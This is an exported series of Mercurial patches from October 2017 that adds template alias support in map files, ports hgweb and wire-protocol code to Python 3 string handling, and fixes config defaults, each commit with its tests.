@@ -1,3 +1,4 @@
+[templates]
 docheader = '<?xml version="1.0"?>\n<log>\n'
 docfooter = '</log>\n'
 
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -259,6 +259,25 @@
   $ hg log -l1 -T./map-simple
   8
 
+ a map file may have [templates] section:
+
+  $ cat <<'EOF' > map-simple
+  > [templates]
+  > changeset = "{rev}\n"
+  > EOF
+  $ hg log -l1 -T./map-simple
+  8
+
+ so it can be included in hgrc
+
+  $ cat <<'EOF' > myhgrc
+  > %include map-simple
+  > [templates]
+  > foo = "{changeset}"
+  > EOF
+  $ HGRCPATH=./myhgrc hg log -l1 -Tfoo
+  8
+
 Test template map inheritance
 
   $ echo "__base__ = map-cmdline.default" > map-simple
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507972002 -32400
#      Sat Oct 14 18:06:42 2017 +0900
# Node ID f17a0e18c47e6519d5816e2c538f285f1baf7760
# Parent  f4aeb952ab77c25525f76b0cedecc5b2e4b3e975
templater: load aliases from [templatealias] section in map file

This seems sometimes useful as an alias can be a function, but a template
fragment can't.

diff --git a/mercurial/formatter.py b/mercurial/formatter.py
--- a/mercurial/formatter.py
+++ b/mercurial/formatter.py
@@ -418,8 +418,8 @@
 
     A map file defines a stand-alone template environment. If a map file
     selected, all templates defined in the file will be loaded, and the
-    template matching the given topic will be rendered. No aliases will be
-    loaded from user config.
+    template matching the given topic will be rendered. Aliases won't be
+    loaded from user config, but from the map file.
 
     If no map file selected, all templates in [templates] section will be
     available as well as aliases in [templatealias].
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -1344,6 +1344,7 @@
 
     cache = {}
     tmap = {}
+    aliases = []
 
     val = conf.get('templates', '__base__')
     if val and val[0] not in "'\"":
@@ -1362,7 +1363,7 @@
                     path = p3
                     break
 
-        cache, tmap = _readmapfile(path)
+        cache, tmap, aliases = _readmapfile(path)
 
     for key, val in conf['templates'].items():
         if not val:
@@ -1378,7 +1379,8 @@
             if ':' in val[1]:
                 val = val[1].split(':', 1)
             tmap[key] = val[0], os.path.join(base, val[1])
-    return cache, tmap
+    aliases.extend(conf['templatealias'].items())
+    return cache, tmap, aliases
 
 class TemplateNotFound(error.Abort):
     pass
@@ -1412,9 +1414,10 @@
                     minchunk=1024, maxchunk=65536):
         """Create templater from the specified map file"""
         t = cls(filters, defaults, cache, [], minchunk, maxchunk)
-        cache, tmap = _readmapfile(mapfile)
+        cache, tmap, aliases = _readmapfile(mapfile)
         t.cache.update(cache)
         t.map = tmap
+        t._aliases = aliases
         return t
 
     def __contains__(self, key):
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -259,11 +259,13 @@
   $ hg log -l1 -T./map-simple
   8
 
- a map file may have [templates] section:
+ a map file may have [templates] and [templatealias] sections:
 
   $ cat <<'EOF' > map-simple
   > [templates]
-  > changeset = "{rev}\n"
+  > changeset = "{a}\n"
+  > [templatealias]
+  > a = rev
   > EOF
   $ hg log -l1 -T./map-simple
   8
@@ -277,6 +279,8 @@
   > EOF
   $ HGRCPATH=./myhgrc hg log -l1 -Tfoo
   8
+  $ HGRCPATH=./myhgrc hg log -l1 -T'{a}\n'
+  8
 
 Test template map inheritance
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507973041 -32400
#      Sat Oct 14 18:24:01 2017 +0900
# Node ID d36a36ca7bc2a300bb345ff6f04b127f88b3f7ed
# Parent  f17a0e18c47e6519d5816e2c538f285f1baf7760
templates: introduce labelcset() function in map-cmdline.default as example

diff --git a/mercurial/templates/map-cmdline.default b/mercurial/templates/map-cmdline.default
--- a/mercurial/templates/map-cmdline.default
+++ b/mercurial/templates/map-cmdline.default
@@ -30,19 +30,12 @@
                                                % ' {name} ({source})'}\n"))}'
 
 # General templates
-_instability_label = 'instability.{instability}'
-_troubles_labels = '{if(instabilities, "changeset.unstable {instabilities%_instability_label}")}'
-_obsolete_label = '{if(obsolete, "changeset.obsolete")}'
-_cset_labels = '{separate(" ", "log.changeset", "changeset.{phase}", "{_obsolete_label}", "{_troubles_labels}")}'
-cset = '{label("{_cset_labels}",
-               "changeset:   {rev}:{node|short}")}\n'
+cset = '{labelcset("changeset:   {rev}:{node|short}")}\n'
+fullcset = '{labelcset("changeset:   {rev}:{node}")}\n'
 
 lphase = '{label("log.phase",
                  "phase:       {phase}")}\n'
 
-fullcset = '{label("{_cset_labels}",
-                   "changeset:   {rev}:{node}")}\n'
-
 parent = '{label("log.parent changeset.{phase}",
                   "parent:      {rev}:{node|formatnode}")}\n'
 
@@ -82,3 +75,12 @@
                                        '{desc|strip}')}\n\n")}'
 
 status = '{status} {path}\n{if(copy, "  {copy}\n")}'
+
+[templatealias]
+labelcset(expr) = label(separate(" ",
+                                 "log.changeset",
+                                 "changeset.{phase}",
+                                 if(obsolete, "changeset.obsolete"),
+                                 if(instabilities, "changeset.unstable"),
+                                 instabilities % "instability.{instability}"),
+                        expr)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507974080 -32400
#      Sat Oct 14 18:41:20 2017 +0900
# Node ID 06b52671552bab8d94a2471fd168731491f1d82b
# Parent  d36a36ca7bc2a300bb345ff6f04b127f88b3f7ed
templates: fix missed space between instability labels

diff --git a/mercurial/templates/map-cmdline.default b/mercurial/templates/map-cmdline.default
--- a/mercurial/templates/map-cmdline.default
+++ b/mercurial/templates/map-cmdline.default
@@ -82,5 +82,6 @@
                                  "changeset.{phase}",
                                  if(obsolete, "changeset.obsolete"),
                                  if(instabilities, "changeset.unstable"),
-                                 instabilities % "instability.{instability}"),
+                                 join(instabilities
+                                      % "instability.{instability}", " ")),
                         expr)
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -963,7 +963,7 @@
   
 
   $ hg log -T default -r 'phasedivergent()' --color=debug
-  [log.changeset changeset.draft changeset.unstable instability.orphaninstability.phase-divergent|changeset:   7:50c51b361e60]
+  [log.changeset changeset.draft changeset.unstable instability.orphan instability.phase-divergent|changeset:   7:50c51b361e60]
   [log.user|user:        test]
   [log.date|date:        Thu Jan 01 00:00:00 1970 +0000]
   [log.instability|instability: orphan, phase-divergent]
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508010816 14400
#      Sat Oct 14 15:53:36 2017 -0400
# Node ID 01206460897a63ad2ede05b39e92895ab7b28d0a
# Parent  06b52671552bab8d94a2471fd168731491f1d82b
server: indent block that's about to get conditionalized

Differential Revision: https://phab.mercurial-scm.org/D1083

diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -130,11 +130,12 @@
         if query:
             env[r'QUERY_STRING'] = query
 
-        if self.headers.typeheader is None:
-            env[r'CONTENT_TYPE'] = self.headers.type
-        else:
-            env[r'CONTENT_TYPE'] = self.headers.typeheader
-        length = self.headers.getheader('content-length')
+        if True:
+            if self.headers.typeheader is None:
+                env[r'CONTENT_TYPE'] = self.headers.type
+            else:
+                env[r'CONTENT_TYPE'] = self.headers.typeheader
+            length = self.headers.getheader('content-length')
         if length:
             env[r'CONTENT_LENGTH'] = length
         for header in [h for h in self.headers.keys()
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507229632 14400
#      Thu Oct 05 14:53:52 2017 -0400
# Node ID 6e1b05692b2cd4e1b7979c5aed20762a3374cfe0
# Parent  01206460897a63ad2ede05b39e92895ab7b28d0a
hgweb: detect Python 3-era libraries and use modern attribute names

Differential Revision: https://phab.mercurial-scm.org/D1084

diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -130,7 +130,13 @@
         if query:
             env[r'QUERY_STRING'] = query
 
-        if True:
+        if pycompat.ispy3:
+            if self.headers.get_content_type() is None:
+                env[r'CONTENT_TYPE'] = self.headers.get_default_type()
+            else:
+                env[r'CONTENT_TYPE'] = self.headers.get_content_type()
+            length = self.headers.get('content-length')
+        else:
             if self.headers.typeheader is None:
                 env[r'CONTENT_TYPE'] = self.headers.type
             else:
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508009853 14400
#      Sat Oct 14 15:37:33 2017 -0400
# Node ID 60e7da55e5e6142a20bbb047634aa0b47f8165e5
# Parent  6e1b05692b2cd4e1b7979c5aed20762a3374cfe0
hgweb: set sent_headers attr as early as practical

While doing Python 3 porting work, I've seen exceptions happen in
parts of hgweb we normally assume are robust. It won't hurt anything
to set this attribute significantly earlier, so let's do so and save
confusing during the porting process.

Differential Revision: https://phab.mercurial-scm.org/D1085

diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -115,6 +115,7 @@
         self.do_POST()
 
     def do_hgweb(self):
+        self.sent_headers = False
         path, query = _splitURI(self.path)
 
         env = {}
@@ -167,7 +168,6 @@
 
         self.saved_status = None
         self.saved_headers = []
-        self.sent_headers = False
         self.length = None
         self._chunked = None
         for chunk in self.server.application(env, self._start_response):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507992449 14400
#      Sat Oct 14 10:47:29 2017 -0400
# Node ID baee5512f2623229dff5419464b1f493cf839aef
# Parent  60e7da55e5e6142a20bbb047634aa0b47f8165e5
hgweb: mimetype guessing needs a unicode path

Differential Revision: https://phab.mercurial-scm.org/D1086

diff --git a/mercurial/hgweb/common.py b/mercurial/hgweb/common.py
--- a/mercurial/hgweb/common.py
+++ b/mercurial/hgweb/common.py
@@ -166,7 +166,7 @@
             break
     try:
         os.stat(path)
-        ct = mimetypes.guess_type(path)[0] or "text/plain"
+        ct = mimetypes.guess_type(pycompat.fsdecode(path))[0] or "text/plain"
         with open(path, 'rb') as fh:
             data = fh.read()
 
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507994431 14400
#      Sat Oct 14 11:20:31 2017 -0400
# Node ID 95be8928d6b28ec0edfc27bed2d5f05bd3f06c55
# Parent  baee5512f2623229dff5419464b1f493cf839aef
hgweb: fill in content-type and content-length as native strings

This lets me actually get a capabilities response from hgweb over
http.

Differential Revision: https://phab.mercurial-scm.org/D1087

diff --git a/mercurial/hgweb/request.py b/mercurial/hgweb/request.py
--- a/mercurial/hgweb/request.py
+++ b/mercurial/hgweb/request.py
@@ -93,14 +93,14 @@
         if not isinstance(type, str):
             type = pycompat.sysstr(type)
         if self._start_response is not None:
-            self.headers.append(('Content-Type', type))
+            self.headers.append((r'Content-Type', type))
             if filename:
                 filename = (filename.rpartition('/')[-1]
                             .replace('\\', '\\\\').replace('"', '\\"'))
                 self.headers.append(('Content-Disposition',
                                      'inline; filename="%s"' % filename))
             if body is not None:
-                self.headers.append(('Content-Length', str(len(body))))
+                self.headers.append((r'Content-Length', str(len(body))))
 
             for k, v in self.headers:
                 if not isinstance(v, str):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507995017 14400
#      Sat Oct 14 11:30:17 2017 -0400
# Node ID b13c95919ff5ad253153c676671a5a08421ad1e0
# Parent  95be8928d6b28ec0edfc27bed2d5f05bd3f06c55
templater: explode if we try to emit a str

Without this if branch, we infinitely recurse in _flatten, which is
very confusing. Something in an hgweb template is trying to write out
a string instead of a bytes on Python 3, and this at least makes it
crash politely.

Differential Revision: https://phab.mercurial-scm.org/D1088

diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -1240,6 +1240,11 @@
     thing = templatekw.unwraphybrid(thing)
     if isinstance(thing, bytes):
         yield thing
+    elif isinstance(thing, str):
+        # We can only hit this on Python 3, and it's here to guard
+        # against infinite recursion.
+        raise error.ProgrammingError('Mercurial IO including templates is done'
+                                     ' with bytes, not strings')
     elif thing is None:
         pass
     elif not util.safehasattr(thing, '__iter__'):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507996791 14400
#      Sat Oct 14 11:59:51 2017 -0400
# Node ID 9c3dcaf648efb7c1fd26989f227f9cd4948ac44f
# Parent  b13c95919ff5ad253153c676671a5a08421ad1e0
httppeer: convert request url back to bytes before inspecting it

Differential Revision: https://phab.mercurial-scm.org/D1089

diff --git a/mercurial/httppeer.py b/mercurial/httppeer.py
--- a/mercurial/httppeer.py
+++ b/mercurial/httppeer.py
@@ -303,7 +303,7 @@
         _wraphttpresponse(resp)
 
         # record the url we got redirected to
-        resp_url = resp.geturl()
+        resp_url = pycompat.bytesurl(resp.geturl())
         if resp_url.endswith(qs):
             resp_url = resp_url[:-len(qs)]
         if self._url.rstrip('/') != resp_url.rstrip('/'):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507996835 14400
#      Sat Oct 14 12:00:35 2017 -0400
# Node ID a288712d86d5fc28c9f8f233d87791d97c03379f
# Parent  9c3dcaf648efb7c1fd26989f227f9cd4948ac44f
httppeer: extract content-type from headers using native str

Differential Revision: https://phab.mercurial-scm.org/D1090

diff --git a/mercurial/httppeer.py b/mercurial/httppeer.py
--- a/mercurial/httppeer.py
+++ b/mercurial/httppeer.py
@@ -311,9 +311,9 @@
                 self.ui.warn(_('real URL is %s\n') % resp_url)
         self._url = resp_url
         try:
-            proto = resp.getheader('content-type')
+            proto = pycompat.bytesurl(resp.getheader(r'content-type', r''))
         except AttributeError:
-            proto = resp.headers.get('content-type', '')
+            proto = pycompat.bytesurl(resp.headers.get(r'content-type', r''))
 
         safeurl = util.hidepassword(self._url)
         if proto.startswith('application/hg-error'):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507996935 14400
#      Sat Oct 14 12:02:15 2017 -0400
# Node ID daf12f69699f60178ec7db377006af3ba4916999
# Parent  a288712d86d5fc28c9f8f233d87791d97c03379f
python3: replace im_{self,func} with __{self,func}__ globally

These new names are portable back to Python 2.6.

Differential Revision: https://phab.mercurial-scm.org/D1091

diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -112,7 +112,7 @@
 
         for command, args, opts, finalfuture in self.calls:
             mtd = getattr(self._remote, command)
-            batchable = mtd.batchable(mtd.im_self, *args, **opts)
+            batchable = mtd.batchable(mtd.__self__, *args, **opts)
 
             commandargs, fremote = next(batchable)
             assert fremote
diff --git a/tests/test-lock.py b/tests/test-lock.py
--- a/tests/test-lock.py
+++ b/tests/test-lock.py
@@ -19,7 +19,7 @@
 # work around http://bugs.python.org/issue1515
 if types.MethodType not in copy._deepcopy_dispatch:
     def _deepcopy_method(x, memo):
-        return type(x)(x.im_func, copy.deepcopy(x.im_self, memo), x.im_class)
+        return type(x)(x.__func__, copy.deepcopy(x.__self__, memo), x.im_class)
     copy._deepcopy_dispatch[types.MethodType] = _deepcopy_method
 
 class lockwrapper(lock.lock):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507997022 14400
#      Sat Oct 14 12:03:42 2017 -0400
# Node ID a652b7763f669683eb5540c6d4b77ee18e55bc80
# Parent  daf12f69699f60178ec7db377006af3ba4916999
peer: when collecting method names for batch calls, bytes-ify __name__

This will explode violently if we have a non-ascii command name. That
shouldn't ever happen in core, and seems unlikely even in third-party
code. Regardless, it'll explode violently, so we can revisit things in
the future if we need to change the encoding here.

Differential Revision: https://phab.mercurial-scm.org/D1092

diff --git a/mercurial/peer.py b/mercurial/peer.py
--- a/mercurial/peer.py
+++ b/mercurial/peer.py
@@ -34,7 +34,9 @@
     def __getattr__(self, name):
         def call(*args, **opts):
             resref = future()
-            self.calls.append((name, args, opts, resref,))
+            # Please don't invent non-ascii method names, or you will
+            # give core hg a very sad time.
+            self.calls.append((name.encode('ascii'), args, opts, resref,))
             return resref
         return call
     def submit(self):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508042244 14400
#      Sun Oct 15 00:37:24 2017 -0400
# Node ID 09397d0dd3b7d25e095d617e6a2ab785f8d980db
# Parent  a652b7763f669683eb5540c6d4b77ee18e55bc80
dagutil: use a listcomp instead of a map()

In Python 3, the map() returns a generator object instead of a list,
and some parts of hg depend on this being consumable more than once or
sortable in place.

Differential Revision: https://phab.mercurial-scm.org/D1099

diff --git a/mercurial/dagutil.py b/mercurial/dagutil.py
--- a/mercurial/dagutil.py
+++ b/mercurial/dagutil.py
@@ -148,7 +148,7 @@
                     if (r is not None
                         and r != nullrev
                         and r not in rl.filteredrevs)]
-        return map(self._internalize, ids)
+        return [self._internalize(i) for i in ids]
 
 
 class revlogdag(revlogbaseddag):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508042369 14400
#      Sun Oct 15 00:39:29 2017 -0400
# Node ID 6f532c1a4af0d99cd2cbac5f3c7028c0ba8cb51e
# Parent  09397d0dd3b7d25e095d617e6a2ab785f8d980db
wireproto: use listcomp instead of map()

The latter returns a generator object on Python 3, which breaks
various parts of hg that expected a list.

Differential Revision: https://phab.mercurial-scm.org/D1100

diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -153,7 +153,7 @@
 
 def decodelist(l, sep=' '):
     if l:
-        return map(bin, l.split(sep))
+        return [bin(v) for v in  l.split(sep)]
     return []
 
 def encodelist(l, sep=' '):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508040366 14400
#      Sun Oct 15 00:06:06 2017 -0400
# Node ID 6be264009841be7fc33e71d2f9eda038ae02fa6e
# Parent  6f532c1a4af0d99cd2cbac5f3c7028c0ba8cb51e
wireproto: use a proper exception instead of `assert False`

Differential Revision: https://phab.mercurial-scm.org/D1101

diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -325,7 +325,8 @@
                 continue
             keytype = gboptsmap.get(key)
             if keytype is None:
-                assert False, 'unexpected'
+                raise error.ProgrammingError(
+                    'Unexpectedly None keytype for key %s' % key)
             elif keytype == 'nodes':
                 value = encodelist(value)
             elif keytype in ('csv', 'scsv'):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508042407 14400
#      Sun Oct 15 00:40:07 2017 -0400
# Node ID 31fdd0509de90dce3e72ca52b6b4007e93c1506e
# Parent  6be264009841be7fc33e71d2f9eda038ae02fa6e
wireproto: use %d to encode int, not %s

Differential Revision: https://phab.mercurial-scm.org/D1102

diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -907,7 +907,7 @@
     except Exception as inst:
         r = str(inst)
         success = 0
-    return "%s %s\n" % (success, r)
+    return "%d %s\n" % (success, r)
 
 @wireprotocommand('known', 'nodes *')
 def known(repo, proto, nodes, others):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508040211 14400
#      Sun Oct 15 00:03:31 2017 -0400
# Node ID 67e9678efd98aa599167f644d1971d2243c322d5
# Parent  31fdd0509de90dce3e72ca52b6b4007e93c1506e
httppeer: always produce native str header keys and values

Differential Revision: https://phab.mercurial-scm.org/D1103

diff --git a/mercurial/httppeer.py b/mercurial/httppeer.py
--- a/mercurial/httppeer.py
+++ b/mercurial/httppeer.py
@@ -39,16 +39,24 @@
     ``header-<N>`` where ``<N>`` is an integer starting at 1. Each header
     name + value will be at most ``limit`` bytes long.
 
-    Returns an iterable of 2-tuples consisting of header names and values.
+    Returns an iterable of 2-tuples consisting of header names and
+    values as native strings.
     """
-    fmt = header + '-%s'
-    valuelen = limit - len(fmt % '000') - len(': \r\n')
+    # HTTP Headers are ASCII. Python 3 requires them to be unicodes,
+    # not bytes. This function always takes bytes in as arguments.
+    fmt = pycompat.strurl(header) + r'-%s'
+    # Note: it is *NOT* a bug that the last bit here is a bytestring
+    # and not a unicode: we're just getting the encoded length anyway,
+    # and using an r-string to make it portable between Python 2 and 3
+    # doesn't work because then the \r is a literal backslash-r
+    # instead of a carriage return.
+    valuelen = limit - len(fmt % r'000') - len(': \r\n')
     result = []
 
     n = 0
     for i in xrange(0, len(value), valuelen):
         n += 1
-        result.append((fmt % str(n), value[i:i + valuelen]))
+        result.append((fmt % str(n), pycompat.strurl(value[i:i + valuelen])))
 
     return result
 
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508040300 14400
#      Sun Oct 15 00:05:00 2017 -0400
# Node ID 115efdd9708811859c466c363311f93b3500a72e
# Parent  67e9678efd98aa599167f644d1971d2243c322d5
peer: ensure command names are always ascii bytestrs

Differential Revision: https://phab.mercurial-scm.org/D1104

diff --git a/mercurial/peer.py b/mercurial/peer.py
--- a/mercurial/peer.py
+++ b/mercurial/peer.py
@@ -10,6 +10,7 @@
 
 from . import (
     error,
+    pycompat,
     util,
 )
 
@@ -92,7 +93,8 @@
         if not encresref:
             return encargsorres # a local result in this case
         self = args[0]
-        encresref.set(self._submitone(f.__name__, encargsorres))
+        cmd = pycompat.bytesurl(f.__name__)  # ensure cmd is ascii bytestr
+        encresref.set(self._submitone(cmd, encargsorres))
         return next(batchable)
     setattr(plain, 'batchable', f)
     return plain
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507491752 -7200
#      Sun Oct 08 21:42:32 2017 +0200
# Node ID 3572b2031cecef142123122e26ef10d74c27f1c9
# Parent  115efdd9708811859c466c363311f93b3500a72e
devel-warn: add 'warn-' to 'devel.empty-changegroup' config

Rename 'devel.empty-changegroup' to 'devel.warn-empty- changegroup' in order
to clarify it controls a warning message.

No alias is installed since the previous configuration option was not
documented.

diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -313,7 +313,7 @@
 
             if not cgnodes:
                 repo.ui.develwarn('applied empty changegroup',
-                                  config='empty-changegroup')
+                                  config='warn-empty-changegroup')
             clend = len(cl)
             changesets = clend - clstart
             repo.ui.progress(_('changesets'), None)
diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -220,7 +220,7 @@
 coreconfigitem('devel', 'disableloaddefaultcerts',
     default=False,
 )
-coreconfigitem('devel', 'empty-changegroup',
+coreconfigitem('devel', 'warn-empty-changegroup',
     default=False,
 )
 coreconfigitem('devel', 'legacy.exchange',
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507925335 -7200
#      Fri Oct 13 22:08:55 2017 +0200
# Node ID 330d0b582ab38d35d9d521626e9d039044f38ecd
# Parent  3572b2031cecef142123122e26ef10d74c27f1c9
configitems: fixup default value of diff config option

It turned out that configbool is used for most of them so the registered
default value was wrong.

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -248,34 +248,34 @@
     default=None,
 )
 coreconfigitem('diff', 'nodates',
-    default=None,
+    default=False,
 )
 coreconfigitem('diff', 'showfunc',
-    default=None,
+    default=False,
 )
 coreconfigitem('diff', 'unified',
     default=None,
 )
 coreconfigitem('diff', 'git',
-    default=None,
+    default=False,
 )
 coreconfigitem('diff', 'ignorews',
-    default=None,
+    default=False,
 )
 coreconfigitem('diff', 'ignorewsamount',
-    default=None,
+    default=False,
 )
 coreconfigitem('diff', 'ignoreblanklines',
-    default=None,
+    default=False,
 )
 coreconfigitem('diff', 'ignorewseol',
-    default=None,
+    default=False,
 )
 coreconfigitem('diff', 'nobinary',
-    default=None,
+    default=False,
 )
 coreconfigitem('diff', 'noprefix',
-    default=None,
+    default=False,
 )
 coreconfigitem('email', 'bcc',
     default=None,
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1508079730 -19800
#      Sun Oct 15 20:32:10 2017 +0530
# Node ID 25b5787e8ddef6f2f315e70f9571a4f8e5355906
# Parent  330d0b582ab38d35d9d521626e9d039044f38ecd
releasenotes: add pager support when printing to the ui

Differential Revision: https://phab.mercurial-scm.org/D1098

diff --git a/hgext/releasenotes.py b/hgext/releasenotes.py
--- a/hgext/releasenotes.py
+++ b/hgext/releasenotes.py
@@ -577,6 +577,7 @@
     incoming = parsenotesfromrevisions(repo, sections.names(), revs)
 
     if file_ is None:
+        ui.pager('releasenotes')
         return ui.write(serializenotes(sections, incoming))
 
     try:
# HG changeset patch
# User Denis Laxalde <denis@laxalde.org>
# Date 1508160908 -7200
#      Mon Oct 16 15:35:08 2017 +0200
# Node ID 0c06875e7755fdf9f944a2307a63f4a846d99f85
# Parent  25b5787e8ddef6f2f315e70f9571a4f8e5355906
transaction-summary: use a revset to filter obsoletes in reportnewcs()

Thanks to Yuya Nishihara for suggesting.

diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -1242,20 +1242,11 @@
 
             # Compute the bounds of new revisions' range, excluding obsoletes.
             unfi = repo.unfiltered()
-            minrev, maxrev = None, None
-            newrevs.sort()
-            for r in newrevs:
-                if not unfi[r].obsolete():
-                    minrev = repo[r]
-                    break
-            for r in reversed(newrevs):
-                if not unfi[r].obsolete():
-                    maxrev = repo[r]
-                    break
-
-            if minrev is None or maxrev is None:
+            revs = unfi.revs('%ld and not obsolete()', newrevs)
+            if not revs:
                 # Got only obsoletes.
                 return
+            minrev, maxrev = repo[revs.min()], repo[revs.max()]
 
             if minrev == maxrev:
                 revrange = minrev
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508159570 -7200
#      Mon Oct 16 15:12:50 2017 +0200
# Node ID 1c9128b735cd9bb3779b9d9558c600f407c62920
# Parent  0c06875e7755fdf9f944a2307a63f4a846d99f85
configitems: fixup default value of annotate config option

It turned out that configbool is used for most of them so the registered
default value was wrong.

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -104,34 +104,34 @@
     generic=True,
 )
 coreconfigitem('annotate', 'nodates',
-    default=None,
+    default=False,
 )
 coreconfigitem('annotate', 'showfunc',
-    default=None,
+    default=False,
 )
 coreconfigitem('annotate', 'unified',
     default=None,
 )
 coreconfigitem('annotate', 'git',
-    default=None,
+    default=False,
 )
 coreconfigitem('annotate', 'ignorews',
-    default=None,
+    default=False,
 )
 coreconfigitem('annotate', 'ignorewsamount',
-    default=None,
+    default=False,
 )
 coreconfigitem('annotate', 'ignoreblanklines',
-    default=None,
+    default=False,
 )
 coreconfigitem('annotate', 'ignorewseol',
-    default=None,
+    default=False,
 )
 coreconfigitem('annotate', 'nobinary',
-    default=None,
+    default=False,
 )
 coreconfigitem('annotate', 'noprefix',
-    default=None,
+    default=False,
 )
 coreconfigitem('auth', 'cookiefile',
     default=None,
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508040343 14400
#      Sun Oct 15 00:05:43 2017 -0400
# Node ID b880cc11da5d8eb75afbfe8b31f9dec141b15883
# Parent  1c9128b735cd9bb3779b9d9558c600f407c62920
wireproto: bounce kwargs to/from bytes/str as needed

Differential Revision: https://phab.mercurial-scm.org/D1107

diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -313,6 +313,7 @@
         return self._callstream('stream_out')
 
     def getbundle(self, source, **kwargs):
+        kwargs = pycompat.byteskwargs(kwargs)
         self.requirecap('getbundle', _('look up remote changes'))
         opts = {}
         bundlecaps = kwargs.get('bundlecaps')
@@ -337,7 +338,7 @@
                 raise KeyError('unknown getbundle option type %s'
                                % keytype)
             opts[key] = value
-        f = self._callcompressable("getbundle", **opts)
+        f = self._callcompressable("getbundle", **pycompat.strkwargs(opts))
         if any((cap.startswith('HG2') for cap in bundlecaps)):
             return bundle2.getunbundler(self.ui, f)
         else:
@@ -444,7 +445,7 @@
         yield unescapearg(''.join(work))
 
     def _submitone(self, op, args):
-        return self._call(op, **args)
+        return self._call(op, **pycompat.strkwargs(args))
 
     def debugwireargs(self, one, two, three=None, four=None, five=None):
         # don't pass optional arguments left at their default value
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508042313 14400
#      Sun Oct 15 00:38:33 2017 -0400
# Node ID b2601c5977a4408fa9049bde2e8b3f785fd297b8
# Parent  b880cc11da5d8eb75afbfe8b31f9dec141b15883
hgweb: more "http headers are native strs" cleanup

Differential Revision: https://phab.mercurial-scm.org/D1108

diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -378,7 +378,7 @@
                     req.env.get('X-HgHttp2', '')):
                     req.drain()
                 else:
-                    req.headers.append(('Connection', 'Close'))
+                    req.headers.append((r'Connection', r'Close'))
                 req.respond(inst, protocol.HGTYPE,
                             body='0\n%s\n' % inst)
                 return ''
diff --git a/mercurial/hgweb/protocol.py b/mercurial/hgweb/protocol.py
--- a/mercurial/hgweb/protocol.py
+++ b/mercurial/hgweb/protocol.py
@@ -75,10 +75,10 @@
         args.update(cgi.parse_qs(argvalue, keep_blank_values=True))
         return args
     def getfile(self, fp):
-        length = int(self.req.env['CONTENT_LENGTH'])
+        length = int(self.req.env[r'CONTENT_LENGTH'])
         # If httppostargs is used, we need to read Content-Length
         # minus the amount that was consumed by args.
-        length -= int(self.req.env.get('HTTP_X_HGARGS_POST', 0))
+        length -= int(self.req.env.get(r'HTTP_X_HGARGS_POST', 0))
         for s in util.filechunkiter(self.req, limit=length):
             fp.write(s)
     def redirect(self):
